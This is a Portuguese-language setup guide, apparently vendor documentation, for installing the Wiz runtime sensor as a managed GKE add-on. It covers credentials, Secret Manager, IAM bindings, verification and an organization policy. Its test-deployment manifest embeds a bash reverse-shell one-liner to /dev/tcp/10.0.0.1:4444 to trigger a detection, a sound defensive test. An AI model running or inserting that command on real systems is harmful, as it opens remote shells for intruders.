O sensor de tempo de execução do Wiz é um componente na plataforma principal do Wiz que oferece recursos de detecção e resposta a ameaças em tempo real para cargas de trabalho de tempo de execução. É possível instalar o sensor de tempo de execução em clusters do Google Kubernetes Engine (GKE) como um complemento gerenciado. Este documento mostra aos administradores de plataforma e engenheiros de segurança como instalar o complemento do sensor de tempo de execução, configurar o acesso à plataforma Wiz e aplicar a instalação do sensor de tempo de execução em toda a organização, pasta ou projeto.
Você já deve estar familiarizado com o sensor de tempo de execução do Wiz.
Quando usar o complemento do sensor de tempo de execução
O método de instalação de complementos gerenciados é uma alternativa integrada à instalação do sensor de tempo de execução usando métodos de instalação, como um gráfico do Helm. O complemento do sensor de tempo de execução tem os seguintes benefícios:
- O GKE instala os componentes e gerencia a maioria das tarefas de configuração, o que reduz o esforço e a complexidade da instalação do sensor de tempo de execução em comparação com o uso do gráfico do Helm.
- É possível usar o serviço de políticas da organização para exigir a ativação do complemento em toda a organização, pastas ou projetos.
- O complemento é executado em clusters do Autopilot e junto com cargas de trabalho do Autopilot em clusters padrão sem exigir que você adicione o sensor de tempo de execução a uma lista de permissões.
- Todas as atualizações dos componentes do sensor de tempo de execução são independentes dos upgrades da versão de patch do GKE.
Também é possível instalar o sensor de tempo de execução nos clusters usando o gráfico do Helm. Se você usar esse método, terá mais flexibilidade para personalizar a configuração do sensor. No entanto, esse método exige mais configuração manual durante a instalação e é mais difícil de aplicar em escala em comparação com o uso do complemento. Se você instalar o sensor de tempo de execução usando o gráfico do Helm, os componentes não serão gerenciados pelo GKE. Se você não usar o complemento do GKE, informe todos os problemas com o sensor de tempo de execução, como erros ou incompatibilidades, diretamente ao Wiz.
Como funciona
Você instala o complemento em clusters específicos usando a API GKE.
Ao ativar o complemento, o GKE cria o namespace gke-managed-wiz e instala os componentes do sensor de tempo de execução. O GKE exige acesso ao Container Registry particular do Wiz para extrair imagens do sensor de tempo de execução.
Após a instalação, o sensor de tempo de execução exige acesso à API Wiz para enviar informações à plataforma Wiz. Para conceder ao GKE e ao sensor de tempo de execução o acesso necessário, forneça as seguintes informações como secrets no namespace gke-managed-wiz:
- Credenciais para acessar o Container Registry do Wiz e extrair a imagem do sensor de tempo de execução.
- Informações de configuração do sensor de tempo de execução, como credenciais da API Wiz e variáveis específicas do ambiente.
É possível criar esses secrets manualmente ou fazer upload das informações para Cloud de Confiance by S3NS o Secret Manager, que cria automaticamente os secrets, gira as versões em uma programação recorrente e implementa atualizações para secrets implantados.
Preços
O complemento do sensor de tempo de execução do Wiz está disponível sem custo adicional no GKE. As seguintes considerações se aplicam:
- É necessário ter uma licença ativa do sensor de tempo de execução do Wiz. Para mais informações, consulte Preços do Wiz.
- Os componentes do sensor de tempo de execução são executados nos nós e consomem recursos de CPU e memória, o que pode resultar na necessidade de mais nós para acomodar todos os pods no cluster.
- Se você usar o Secret Manager para armazenar as credenciais e configurações do Wiz, então os preços do Secret Manager serão aplicados.
Limitações
As seguintes limitações se aplicam ao uso do complemento:
- Se você atualizar as credenciais do registro ou da API do Wiz nos secrets implantados, será necessário reiniciar manualmente o DaemonSet do sensor de tempo de execução usando o comando
kubectl rollout restart. - Para instalar o sensor de tempo de execução, faça upload das credenciais de registro do locatário do Wiz como um secret do Kubernetes ou para o Secret Manager.
- Se você usar nós particulares, configure o acesso de saída ao
registro de contêiner do Wiz (
registry.wiz.io) usando o Cloud NAT. - O complemento gerenciado do GKE oferece suporte apenas aos seguintes parâmetros de configuração opcionais para o sensor de tempo de execução:
httpProxyConfiguration.httpsProxyhttpProxyConfiguration.caCertificatehttpProxyConfiguration.clientCertificate
Para usar qualquer um dos outros parâmetros de configuração, instale o sensor de tempo de execução usando o gráfico do Helm.
Antes de começar
Antes de começar, verifique se você realizou as tarefas a seguir:
- Ative a API Google Kubernetes Engine. Ativar a API Google Kubernetes Engine
- Se você quiser usar a Google Cloud CLI para essa tarefa,
instale e depois
inicialize a
CLI gcloud. Se você instalou a CLI gcloud anteriormente, instale a versão mais recente executando o comando
gcloud components update. Talvez as versões anteriores da CLI gcloud não sejam compatíveis com a execução dos comandos neste documento.
- Crie um cluster do Autopilot ou um cluster padrão que tenha a Federação de Identidade da Carga de Trabalho para GKE ativada e execute a versão 1.36.4-gke.1495000 ou mais recente do GKE.
Funções exigidas
Para ativar e configurar o complemento do sensor de tempo de execução para o GKE, você precisa ter as seguintes funções no Cloud de Confiance projeto:
- Configurar clusters do GKE: administrador de clusters do Kubernetes Engine
(
roles/container.clusterAdmin) no Cloud de Confiance projeto. - Fazer upload de credenciais de API e arquivos de configuração para o
Secret Manager: editor do Secret Manager
(
roles/secretmanager.editor) no Cloud de Confiance projeto. - Conceder papéis do Identity and Access Management (IAM) à ServiceAccount do Kubernetes que
o sensor de tempo de execução usa: administrador do Secret Manager
(
roles/secretmanager.admin) no Cloud de Confiance projeto. - Configurar uma política da organização: administrador de políticas da organização
(
roles/orgpolicy.policyAdmin) na sua organização.
Você também precisa ter acesso a um locatário do Wiz para receber credenciais do Container Registry do Wiz e gerar um token OAuth para a API Wiz.
Preparar credenciais e arquivos de configuração do Wiz
Para instalar o sensor de tempo de execução e enviar informações para a plataforma Wiz, é necessário fornecer credenciais para acessar o registro particular do Wiz e a API Wiz. Para preparar essas informações, siga estas etapas:
- Encontre as credenciais do Container Registry do Wiz para o
registry.wiz.ioregistro. Crie uma string codificada em Base64 que contenha as credenciais do registro em uma estrutura que o Kubernetes possa analisar:
echo -n 'WIZ_REGISTRY_USERNAME:WIZ_REGISTRY_PASSWORD' | base64 | tr -d '\n'Substitua:
WIZ_REGISTRY_USERNAME: o nome de usuário do Container Registry do Wiz.WIZ_REGISTRY_PASSWORD: a senha do Container Registry do Wiz.
O resultado será assim:
aGVsbG86d29ybGQ=Salve as informações como um arquivo JSON:
{ "auths": { "registry.wiz.io": { "username": "WIZ_REGISTRY_USERNAME", "password": "WIZ_REGISTRY_PASSWORD", "auth": "BASE64_ENCODED_CREDENTIALS" } } }Substitua
BASE64_ENCODED_CREDENTIALSpela string codificada da etapa anterior.Crie uma conta de serviço do Wiz e copie as seguintes informações:
- O ID do cliente, que também pode ser encontrado no portal do Wiz na página Contas de serviço.
- A chave secreta do cliente, que fica visível apenas quando você cria a conta de serviço.
Crie um arquivo de configuração YAML para o sensor de tempo de execução:
clientId: "WIZ_CLIENT_ID" clientToken: "WIZ_CLIENT_SECRET" clientEndpoint: "WIZ_CLIENT_ENDPOINT"Substitua:
WIZ_CLIENT_ID: o ID do cliente da conta de serviço.WIZ_CLIENT_TOKEN: a chave secreta do cliente da conta de serviço.WIZ_CLIENT_ENDPOINT: o URL do token a ser usado, que depende do seu locatário do Wiz.
Opcional: se você usar um proxy HTTP, poderá configurar o sensor de tempo de execução para usar o servidor proxy. Crie um arquivo de configuração YAML para o proxy:
httpsProxy: "PROXY_URL" caCertificate: "CA_CERTIFICATE" clientCertificate: "CLIENT_CERTIFICATE"Substitua:
PROXY_URL: o URL do proxy totalmente qualificado, comohttps://proxy.example.com:8080.CA_CERTIFICATE: o certificado de CA, no formato PEM, do servidor proxy. Se o servidor proxy não usar TLS, então especifique um valor vazio ("").CLIENT_CERTIFICATE: o certificado do cliente, no formato PEM, do servidor proxy. Se o servidor proxy não usar TLS, especifique um valor vazio ("").
Criar secrets no Secret Manager
Esta seção mostra como armazenar os vários arquivos de configuração e credenciais do Wiz no Secret Manager. É possível especificar os URIs desses secrets ao ativar o complemento do sensor de tempo de execução em um cluster do GKE. O Secret Manager cria automaticamente os secrets do Kubernetes no namespace do Wiz. Quando você atualiza os valores no Secret Manager, os secrets do Kubernetes são sincronizados automaticamente para usar os novos valores. Opcionalmente, pule esta seção e crie os secrets manualmente no namespace gke-managed-wiz.
Para criar os secrets no Secret Manager, siga estas etapas:
Armazene as credenciais do registro do Wiz:
Crie um secret para armazenar as credenciais do registro do Wiz:
gcloud secrets create wiz-image-pull-secret \ --replication-policy="automatic" \ --project="SECRET_PROJECT_ID"Substitua
SECRET_PROJECT_IDpelo ID do Cloud de Confiance projeto em que você quer criar os secrets.Armazene as credenciais do registro do Wiz no secret
wiz-image-pull-secret:gcloud secrets versions add wiz-image-pull-secret \ --project="SECRET_PROJECT_ID" \ --data-file=PATH_TO_CREDENTIALS_FILESubstitua
PATH_TO_CREDENTIALS_FILEpelo caminho para o arquivo JSON que contém as credenciais do registro do Wiz.
Armazene as credenciais da API do sensor de tempo de execução:
Crie um secret para armazenar as credenciais da API do sensor de tempo de execução:
gcloud secrets create wiz-api-key-secret \ --replication-policy="automatic" \ --project="SECRET_PROJECT_ID"Armazene as credenciais da API do sensor de tempo de execução no secret
wiz-api-key-secret:gcloud secrets versions add wiz-api-key-secret \ --project="SECRET_PROJECT_ID" \ --data-file=PATH_TO_CONFIG_FILESubstitua
PATH_TO_CONFIG_FILEpelo caminho para o arquivo YAML que contém as credenciais da API do sensor de tempo de execução.
Opcional: armazene informações de configuração para seu proxy:
Crie um secret para armazenar a configuração do servidor proxy:
gcloud secrets create wiz-sensor-proxy-secret \ --replication-policy="automatic" \ --project="SECRET_PROJECT_ID"Armazene a configuração do servidor proxy no secret
wiz-sensor-proxy-secret:gcloud secrets versions add wiz-sensor-proxy-secret \ --project="SECRET_PROJECT_ID" \ --data-file=PATH_TO_PROXY_FILESubstitua
PATH_TO_PROXY_FILEpelo caminho para o arquivo YAML que contém os parâmetros de configuração do proxy.
Conceder acesso do GKE ao Secret Manager
Para sincronizar as informações no Secret Manager como secrets do Kubernetes, conceda o papel do IAM de Acessor de secrets do Secret Manager
(roles/secretmanager.secretAccessor) nos secrets
que você criou para a ServiceAccount do Kubernetes wiz-sensor-secretsync-sa no namespace gke-managed-wiz. Ao ativar o complemento do sensor de tempo de execução em um cluster, o GKE cria essa ServiceAccount e usa a identidade da ServiceAccount para criar os secrets correspondentes no namespace. Se você planeja criar secrets manualmente em vez de usar o Secret Manager, pule esta seção.
As etapas a seguir mostram como conceder o papel necessário:
Encontre o número do projeto do cluster:
gcloud projects describe CLUSTER_PROJECT_ID --format='value(projectNumber)'O resultado será semelhante a
1234567890.Conceda o papel no secret
wiz-image-pull-secret:gcloud secrets add-iam-policy-binding wiz-image-pull-secret \ --project=SECRET_PROJECT_ID \ --role="roles/secretmanager.secretAccessor" \ --member="principal://iam.googleapis.com/projects/CLUSTER_PROJECT_NUMBER/locations/global/workloadIdentityPools/CLUSTER_PROJECT_ID.s3ns.svc.id.goog/subject/ns/gke-managed-wiz/sa/wiz-sensor-secretsync-sa"Substitua:
SECRET_PROJECT_ID: o ID do projeto que contém seus secrets.CLUSTER_PROJECT_NUMBER: o número do projeto do cluster.CLUSTER_PROJECT_ID: o ID do projeto do cluster.
Conceda o papel no secret
wiz-api-key-secret:gcloud secrets add-iam-policy-binding wiz-api-key-secret \ --project=SECRET_PROJECT_ID \ --role="roles/secretmanager.secretAccessor" \ --member="principal://iam.googleapis.com/projects/CLUSTER_PROJECT_NUMBER/locations/global/workloadIdentityPools/CLUSTER_PROJECT_ID.s3ns.svc.id.goog/subject/ns/gke-managed-wiz/sa/wiz-sensor-secretsync-sa"Opcional: se você criou um secret que contém informações de proxy HTTP, conceda o papel no secret
wiz-sensor-proxy-secret:gcloud secrets add-iam-policy-binding wiz-sensor-proxy-secret \ --project=SECRET_PROJECT_ID \ --role="roles/secretmanager.secretAccessor" \ --member="principal://iam.googleapis.com/projects/CLUSTER_PROJECT_NUMBER/locations/global/workloadIdentityPools/CLUSTER_PROJECT_ID.s3ns.svc.id.goog/subject/ns/gke-managed-wiz/sa/wiz-sensor-secretsync-sa"
Ativar o complemento do sensor de tempo de execução para o GKE
Depois de criar os secrets no Secret Manager e conceder ao GKE o papel necessário nos secrets, ative o complemento do sensor de tempo de execução para o cluster. É possível ativar o complemento em clusters padrão ou do Autopilot novos ou atuais. As etapas a seguir mostram como ativar o complemento e configurar a sincronização de secrets em um cluster atual. Também é possível usar essas flags durante a criação do cluster.
Ative a sincronização de secrets para um cluster atual. Se você planeja criar secrets manualmente em vez de usar o Secret Manager, pule esta etapa.
gcloud container clusters update CLUSTER_NAME \ --project=CLUSTER_PROJECT_ID \ --location=CONTROL_PLANE_LOCATION \ --enable-secret-sync --enable-secret-sync-rotationSubstitua:
CLUSTER_NAME: o nome do cluster.CLUSTER_PROJECT_ID: o ID do projeto do cluster.CONTROL_PLANE_LOCATION: o local do plano de controle do cluster.
Ative o complemento executando um dos comandos a seguir. Se você planeja criar secrets manualmente em vez de usar o Secret Manager, especifique apenas a flag
--addonsnesses comandos.Ative o complemento sem configurar um proxy HTTP:
gcloud container clusters update CLUSTER_NAME \ --project=CLUSTER_PROJECT_ID \ --location=CONTROL_PLANE_LOCATION \ --update-addons=WizSensor=ENABLED \ --wiz-sensor-registry-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-image-pull-secret/versions/latest \ --wiz-sensor-api-key-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-api-key-secret/versions/latestAtive o complemento e configure um proxy HTTP:
gcloud container clusters update CLUSTER_NAME \ --project=CLUSTER_PROJECT_ID \ --location=CONTROL_PLANE_LOCATION \ --update-addons=WizSensor=ENABLED \ --wiz-sensor-registry-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-image-pull-secret/versions/latest \ --wiz-sensor-api-key-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-api-key-secret/versions/latest \ --wiz-sensor-proxy-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-sensor-proxy-secret/versions/latest
Verifique a instalação
Para verificar a instalação do complemento, siga estas etapas:
Receba credenciais para executar comandos
kubectlno cluster:gcloud container clusters get-credentials CLUSTER_NAME \ --location=CONTROL_PLANE_LOCATION \ --project=CLUSTER_PROJECT_IDVerifique se o namespace
gke-managed-wizexiste:kubectl get namespace gke-managed-wizO resultado será assim:
NAME STATUS AGE gke-managed-wiz Active 76sVerifique se os recursos personalizados do Secret Manager existem no namespace:
kubectl get secretproviderclass --namespace=gke-managed-wiz kubectl get secretsync --namespace=gke-managed-wizO resultado será assim:
NAME AGE wiz-sensor-secrets-provider 76s wiz-sensor-apikey 76s wiz-sensor-imagepullkey 75s wiz-sensor-proxy 76sVerifique se os secrets do Kubernetes existem:
kubectl get secrets --namespace=gke-managed-wizO resultado será assim:
NAME TYPE DATA AGE wiz-sensor-apikey Opaque 3 76s wiz-sensor-imagepullkey kubernetes.io/dockerconfigjson 1 75sVerifique o status do DaemonSet do sensor de tempo de execução:
kubectl get daemonset --namespace=gke-managed-wizO resultado será assim:
NAME DESIRED CURRENT READY UP-TO-DATE AVAILABLE NODE SELECTOR AGE wiz-sensor 1 1 1 1 1 <none> 76sEssa saída indica que o sensor de tempo de execução está pronto e disponível.
Verifique os registros de inicialização e conexão dos pods do sensor de tempo de execução:
kubectl logs -n gke-managed-wiz daemonset/wiz-sensor --tail=100O resultado será assim:
{"fields":{"defs_commit":"","defs_version":"0.0.0","message":"version","sensor_version":"1.0.12402 (CMT_6dda526 2026-09-11T15:51:34-04:00)"},"level":"INFO","timestamp":"2026-09-24T17:06:32.982+00:00"} {"fields":{"message":"starting content update"},"level":"INFO","timestamp":"2026-09-24T17:06:33.304+00:00"} {"fields":{"message":"ending content update - new content downloaded"},"level":"INFO","timestamp":"2026-09-24T17:06:34.215+00:00"} {"fields":{"defs_commit":"4cf39a653","defs_version":"1.0.6125","message":"version","sensor_version":"1.0.12402 (CMT_6dda526 2026-09-11T15:51:34-04:00)"},"level":"INFO","timestamp":"2026-09-24T17:06:34.372+00:00"} {"fields":{"env":{"ALLOWED_CONTROLLER_API_GROUPS":"[\"\",\"apps\",\"batch\",\"argoproj.io\",\"sparkoperator.k8s.io\",\"ray.io\",\"tekton.dev\",\"composer.cloud.google.com\",\"kafka.strimzi.io\",\"actions.github.com\"]","ALLOW_KUBELET_COMMUNICATION":"false","BACKEND_ENV":"prod","CRI_SOCKET_CUSTOM_PATH":"","HELM_CHART_COMPAT_VER":"1","HELM_CHART_VERSION":"1.0.11492","HTTP_PROXY_URL":"","JSON":"true","LOG_FILE":"/wiz-sensor-store/sensor.log","RAMFS_STORE":"/tmp/","SENSOR_CLUSTER_NAME":"CLUSTER_NAME","STDOUT_LOG":"error","TMP_STORE":"/wiz-sensor-store/"},"hash":"daa946af4dd7eb728495e752bb35399749ad2c2c","message":"Wiz Sensor env config"},"level":"INFO","timestamp":"2026-09-24T17:09:24.844+00:00"} {"fields":{"defs_commit":"4cf39a653","defs_version":"1.0.6125","message":"version","sensor_version":"1.0.12402 (CMT_6dda526 2026-09-11T15:51:34-04:00)"},"level":"INFO","timestamp":"2026-09-24T17:09:25.249+00:00"} {"fields":{"major":6,"message":"kernel version","minor":12,"patch":94},"level":"INFO","timestamp":"2026-09-24T17:09:25.277+00:00"} {"fields":{"delay":{"nanos":0,"secs":0},"message":"sensor start delay secs","range":0},"level":"INFO","timestamp":"2026-09-24T17:09:34.994+00:00"}
Implantar uma carga de trabalho de teste
Para verificar se a conexão com o portal do Wiz funciona, siga estas etapas:
Salve o seguinte manifesto de implantação como um arquivo YAML:
apiVersion: apps/v1 kind: Deployment metadata: name: demo-nginx namespace: default spec: replicas: 1 selector: matchLabels: app: demo-nginx template: metadata: labels: app: demo-nginx spec: containers: - name: nginx image: nginx:1.15.6 command: ["/bin/bash", "-c"] args: - | # Trigger background reverse shell attempt (timeout 5 bash -i >& /dev/tcp/10.0.0.1/4444 0>&1) & # Trigger image drift file modification touch /usr/bin/malicious_test_file # Start Nginx exec nginx -g "daemon off;" ports: - containerPort: 80Essa implantação cria um pod que simula um ataque de shell reverso.
Crie a implantação:
kubectl apply -f PATH_TO_MANIFESTSubstitua
PATH_TO_MANIFESTpelo caminho para o arquivo de manifesto de implantação.No portal do Wiz, acesse a página Ameaças.
Na tabela de ameaças, procure uma descoberta de ameaça para a tentativa de shell reverso.
Aplicar a instalação de complementos usando uma política da organização
É possível aplicar a instalação do complemento do sensor de tempo de execução em vários clusters em uma organização, pasta ou projeto usando a política da organização. Crie uma restrição personalizada com as seguintes propriedades:
- Recurso:
container.googleapis.com/Cluster - Condição:
resource.addonsConfig.wizSensor.enabled == false - Ação:
DENY
Para mais informações sobre como configurar uma restrição personalizada com essas propriedades, consulte Restringir ações em recursos do GKE usando políticas personalizadas da organização.